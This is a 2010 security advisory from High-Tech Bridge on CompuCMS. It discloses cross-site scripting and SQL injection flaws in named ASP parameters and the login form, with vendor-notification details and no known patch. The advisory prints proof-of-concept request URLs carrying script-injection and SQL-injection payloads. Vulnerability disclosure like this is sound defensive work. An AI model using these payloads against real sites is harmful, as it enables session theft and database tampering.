Vendor Statistics
High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters

Patch Available Upon Disclosure

2014 Q1 87%2013 Q2 92%
2013 Q4 67%2013 Q1 100%
2013 Q3 77%2012 Q4 68%

Vendor Average Time to Patch

2014 Q1 5 days 2013 Q2 30 days
2013 Q4 8 days 2013 Q1 13 days
2013 Q3 13 days 2012 Q4 26 days

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Vulnerabilities in CompuCMS

Advisory ID:HTB22580
Product:CompuCMS
Vendor:CompuSoft A/S
Vulnerable Versions:Current on 06.08.2010 and probably prior
Tested Version:Current on 06.08.2010
Advisory Publication:August 9, 2010 [without technical details]
Vendor Notification:August 9, 2010
Public Disclosure:August 23, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities CompuCMS, which could be exploited to perform cross-site scripting and SQL Injection attacks.


1) Cross-site scripting (XSS) vulnerabilities in CompuCMS


1.1 The vulnerability exists due to input sanitation error in the "sprog" parameter in index.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation example:

http://host/index.asp?mode=for!forside!gb&sprog=gb'"><script>alert(document.cookie)</script>


1.2 The vulnerability exists due to input sanitation error in the "site", "Dir" and "mode" parameters in /_CompuCMS/_CMS_output/_viskarrusel.inc.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation examples:

http://host/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138&Dir=&sit e=demo%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3Ed&NoElementNum=0&NoFirstElement
h ttp://host/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138&Dir=%27%2 2%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C&site=demo&NoElementNum=0&NoFirstElement
http://host/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk%27%22%3E%3Cscript%3E alert%28document.cookie%29%3C/script%3E%3C&vispic=2138&Dir=&site=demo&NoElementNum=0&NoFirstElement


1.3 The vulnerability exists due to input sanitation error in the "billede" parameter in /_CompuCMS/_CMS_output/_visbillede.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation example:

http://host/_CompuCMS/_CMS_output/_visbillede.asp?billede=1.jpg&tekst=%3Cscript%3Ealert%28document.c ookie%29%3C/script%3E

http://host/_CompuCMS/_CMS_output/_visbillede.asp?billede=1.jpg%27%22%3E%3C script%3Ealert%28document.cookie%29%3C/script%3E&tekst=


2) SQL injection vulnerabilities in CompuCMS

2.1 The vulnerability exists due to input sanitation error in the "sogeord" and "visid" parameters in index.asp. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation examples:

http://host/index.asp?mode=visresultat&sogeord=%27+ANY_SQL_CODE

http://host/demo/index.asp?mode=nyh!forside~1220010667!dk&visid=383%27+ANY_SQL_CODE


2.2 The vulnerability exists due to input sanitation error in the "vispic" parameter in /_CompuCMS/_CMS_output/_viskarrusel.inc.asp. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation example:

http://host/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138+ANY_SQL_ CODE&Dir=www.compucms.dk/demo/&site=demo&NoElementNum=0&NoFirstElement


2.3 The vulnerability exists due to input sanitation error in the login field in /demo/inc/_login.asp. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation example:
Add this value
' ANY_SQL_CODE
in login form at http://host/demo/inc/_login.asp.


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22580 - https://www.htbridge.com/advisory/HTB22580 - Multiple vulnerabilities in CompuCMS
[2] CompuCMS - compusoft.dk - CompuCMS is a webbased simple, yet effective CMS system, aimed at websites that need freedom of design.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.